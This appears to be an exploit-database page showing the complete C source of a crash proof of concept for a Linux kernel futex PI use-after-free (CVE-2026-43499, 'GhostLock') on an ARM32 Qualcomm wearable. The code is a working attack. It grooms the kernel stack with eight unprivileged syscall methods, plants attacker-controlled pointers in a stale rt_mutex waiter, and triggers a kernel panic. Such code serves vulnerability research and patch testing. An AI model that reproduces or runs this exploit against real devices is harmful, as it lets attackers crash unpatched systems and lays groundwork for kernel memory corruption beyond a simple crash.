Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
references/ghostlock/old/ghostlock_crash_poc.c
C · 10,455 bytes/*
* CVE-2026-43499 (GhostLock) ARM32 Crash PoC
*
* Triggers kernel panic via stale pi_blocked_on UAF on ARM32.
* Uses stack grooming (stamp) methods from the original CyberMeowfia POC,
* adapted with FUTEX_LOCK_PI trigger (instead of sched_setattr SCHED_DEADLINE).
*
* Target: Linux 5.4.210-perf | Qualcomm Monaco (Snapdragon Wear 5100) | ARMv7
*/
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 121
#endif
#ifndef FUTEX_UNLOCK_PI
#define FUTEX_UNLOCK_PI 122
#endif
/* ---- futex helpers ---- */
static long ftxx(uint32_t *u, int op, uint32_t v, const struct timespec *t,
uint32_t *u2, uint32_t v3) {
return syscall(SYS_futex, u, op, v, t, u2, v3);
}
static void pi_lock(uint32_t *u) { ftxx(u, FUTEX_LOCK_PI, 0, NULL, NULL, 0); }
static void pi_unlock(uint32_t *u){ ftxx(u, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); }
static long wrpi(uint32_t *u, uint32_t *u2, const struct timespec *t) {
return ftxx(u, FUTEX_WAIT_REQUEUE_PI, 0, t, u2, 0);
}
static long crpi(uint32_t *u, uint32_t *u2) {
return ftxx(u, FUTEX_CMP_REQUEUE_PI, 1, NULL, u2, 0);
}
static void fwait(volatile int *p, int v) {
syscall(SYS_futex, (int *)p, FUTEX_WAIT, v, NULL, NULL, 0);
}
static void fwake(volatile int *p) {
syscall(SYS_futex, (int *)p, FUTEX_WAKE, 1, NULL, NULL, 0);
}
#define WAIT(c, v) while ((c) == (v)) fwait(&(c), (v))
/* ---- globals ---- */
static uint32_t f_wait, f_pi_target, f_pi_chain, f_pi_trigger;
static volatile int a_ready, a_waiting, b_started, deadlock_seen;
static volatile int stamp_ready, consume, trigger_go;
static int lane;
/* ---- fill pattern (controlled kernel addresses) ---- */
static void fill(uint64_t *buf) {
for (int i = 0; i < 64; i++)
buf[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
}
/* ---- stamp methods (unprivileged) ---- */
/* setsockopt MCAST_JOIN_SOURCE_GROUP — deep stack via ipv6 stack */
static void stamp_socket(uint64_t *buf) {
int fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd >= 0) {
setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP,
buf, sizeof(struct group_source_req));
close(fd);
}
}
/* pselect6 with large fd_sets copied to kernel stack */
static void stamp_pselect(uint64_t *buf) {
struct timespec ts = {0, 0};
syscall(SYS_pselect6, 256, buf, buf + 16, buf + 32, &ts, 0);
}
/* process_vm_readv/writev — iovec arrays on kernel stack */
static void stamp_process_vm(uint64_t *buf) {
struct iovec iov[8];
for (int i = 0; i < 8; i++) {
iov[i].iov_base = (void *)(buf[i] + 0x1000);
iov[i].iov_len = 8;
}
syscall(SYS_process_vm_readv, getpid(), iov, 8, iov, 8, 0);
syscall(SYS_process_vm_writev, getpid(), iov, 8, iov, 8, 0);
}
/* TCP_ZEROCOPY_RECEIVE getsockopt */
static void stamp_tcp(uint64_t *buf) {
socklen_t len = 128;
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd >= 0) {
syscall(SYS_getsockopt, fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, buf, &len);
close(fd);
}
}
/* timerfd + fcntl + dup2 — fdtable manipulation on stack */
static void stamp_fd(uint64_t *buf) {
int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
if (fd >= 0) {
int dup = syscall(SYS_fcntl, fd, F_DUPFD, 32);
if (dup >= 0) {
dup2(fd, 31);
close(dup);
close(31);
}
close(fd);
}
}
/* nested PI futex operations */
static void stamp_futex(uint64_t *buf) {
struct timespec ts = {0, 0};
uint32_t a = 0, b = 0;
ftxx(&a, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
ftxx(&a, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
ftxx(&a, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &b, 0);
ftxx(&a, FUTEX_CMP_REQUEUE_PI, 1, NULL, &b, 0);
}
/* recvmsg/sendmsg with msghdr on stack */
static void stamp_sendmsg(uint64_t *buf) {
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) == 0) {
struct iovec iov = { buf, 256 };
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
syscall(SYS_sendmsg, sv[0], &msg, 0);
syscall(SYS_recvmsg, sv[1], &msg, 0);
close(sv[0]);
close(sv[1]);
}
}
/* writev with multiple iovecs */
static void stamp_writev(uint64_t *buf) {
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == 0) {
struct iovec iov[8];
for (int i = 0; i < 8; i++) {
iov[i].iov_base = &buf[i];
iov[i].iov_len = 8;
}
syscall(SYS_writev, sv[0], iov, 8);
syscall(SYS_readv, sv[1], iov, 8);
close(sv[0]);
close(sv[1]);
}
}
typedef void (*stamp_fn)(uint64_t *);
static stamp_fn stamps[] = {
stamp_socket, stamp_pselect, stamp_process_vm, stamp_tcp,
stamp_fd, stamp_futex, stamp_sendmsg, stamp_writev,
};
static const char *stamp_names[] = {
"socket(MCAST_JOIN_SOURCE_GROUP)", "pselect6", "process_vm",
"tcp_zerocopy", "timerfd/fcntl", "futex_pi", "sendmsg/recvmsg", "writev/readv",
};
#define NSTAMPS (int)(sizeof(stamps)/sizeof(stamps[0]))
/* ---- threads ---- */
/* owner: locks f_pi_target, then blocks on f_pi_chain (held by waiter) */
static void *owner_thread(void *arg) {
(void)arg;
pi_lock(&f_pi_target);
while (!a_ready) usleep(1000);
b_started = 1;
pi_lock(&f_pi_chain); /* blocks — waiter holds it */
for (;;) pause();
return NULL;
}
/* waiter: holds f_pi_chain, does WAIT_REQUEUE_PI, then stamps kernel stack */
static void *waiter_thread(void *arg) {
(void)arg;
uint64_t buf[64];
struct timespec ts;
pi_lock(&f_pi_chain);
a_ready = 1;
usleep(30000); /* let owner block on f_pi_chain */
clock_gettime(CLOCK_MONOTONIC, &ts);
ts.tv_nsec += 80000000;
if (ts.tv_nsec >= 1000000000) { ts.tv_sec++; ts.tv_nsec -= 1000000000; }
a_waiting = 1;
/* This triggers the bug: requeue detects -EDEADLK, remove_waiter()
uses current instead of waiter->task, leaving stale pi_blocked_on */
wrpi(&f_wait, &f_pi_target, &ts);
WAIT(deadlock_seen, 0);
/* Lock a NEW pi futex that no one else is waiting on.
The trigger will call FUTEX_LOCK_PI on this and become top waiter,
reaching the spin_trylock(stale_lock) crash path. */
pi_lock(&f_pi_trigger);
/* Stamp kernel stack with controlled values.
This overwrites the stale rt_mutex_waiter's lock and prio fields. */
fill(buf);
stamps[lane](buf);
stamp_ready = 1;
fwake(&stamp_ready);
/* Keep stamping to race with the trigger */
for (int i = 0; i < 5000; i++) {
fill(buf);
stamps[lane](buf);
if (trigger_go) usleep(100);
}
for (;;) pause();
return NULL;
}
/* trigger: calls FUTEX_LOCK_PI on f_pi_trigger after stamp is ready */
static void *trigger_thread(void *arg) {
(void)arg;
WAIT(stamp_ready, 0);
usleep(50000); /* let waiter enter stamp loop */
trigger_go = 1;
/* This should crash: task_blocks_on_rt_mutex -> rt_mutex_adjust_prio_chain
-> spin_trylock(controlled_invalid_pointer) */
pi_lock(&f_pi_trigger);
/* If we get here, it didn't crash (shouldn't happen) */
for (;;) pause();
return NULL;
}
/* ---- one attempt ---- */
static void run_attempt(int id) {
pthread_t th;
pthread_attr_t attr;
lane = id;
f_wait = f_pi_target = f_pi_chain = f_pi_trigger = 0;
a_ready = a_waiting = b_started = deadlock_seen = 0;
stamp_ready = consume = trigger_go = 0;
mlockall(MCL_CURRENT | MCL_FUTURE);
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 1024 * 1024);
pthread_create(&th, &attr, owner_thread, NULL);
pthread_create(&th, &attr, waiter_thread, NULL);
/* Wait for both threads to be in position */
while (!a_waiting || !b_started) usleep(1000);
usleep(30000);
/* Trigger the bug: requeue waiter to f_pi_target (held by owner).
This creates the deadlock chain and invokes remove_waiter() with the bug. */
crpi(&f_wait, &f_pi_target);
deadlock_seen = 1;
fwake(&deadlock_seen);
/* Start trigger thread */
pthread_create(&th, &attr, trigger_thread, NULL);
/* If kernel doesn't crash, we'll be killed by parent */
for (;;) pause();
}
int main(int argc, char **argv) {
int only = -1;
if (argc > 1) only = atoi(argv[1]);
printf("[*] CVE-2026-43499 (GhostLock) ARM32 Crash PoC\n");
printf("[*] Linux 5.4.210-perf | Qualcomm Monaco | ARMv7\n");
printf("[*] Stamp methods: %d\n", NSTAMPS);
printf("[*] Trigger: FUTEX_LOCK_PI on new PI futex after stack grooming\n\n");
for (int i = 0; i < NSTAMPS; i++) {
if (only >= 0 && i != only) continue;
printf("[*] Trying stamp method %d: %s ...\n", i, stamp_names[i]);
fflush(stdout);
pid_t pid = fork();
if (pid == 0) {
/* Child: run the attempt. If kernel crashes, device reboots. */
run_attempt(i);
_exit(0);
}
/* Parent: wait up to 5 seconds */
int status;
int waited = 0;
while (waited < 50) {
pid_t r = waitpid(pid, &status, WNOHANG);
if (r == pid) break;
usleep(100000);
waited++;
}
if (waited >= 50) {
/* Child still alive after 5s — kernel might be panicking! */
printf("[+] Child process still alive after 5s — kernel may have crashed!\n");
printf("[+] (If device reboots, PoC succeeded)\n");
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
} else {
printf("[-] Method %d completed without crash (exit status 0x%x)\n", i, status);
}
fflush(stdout);
usleep(500000);
}
printf("\n[*] All methods tried. If no crash occurred, the bug may already be patched\n");
printf(" or the stack grooming didn't reach the stale waiter location.\n");
return 0;
}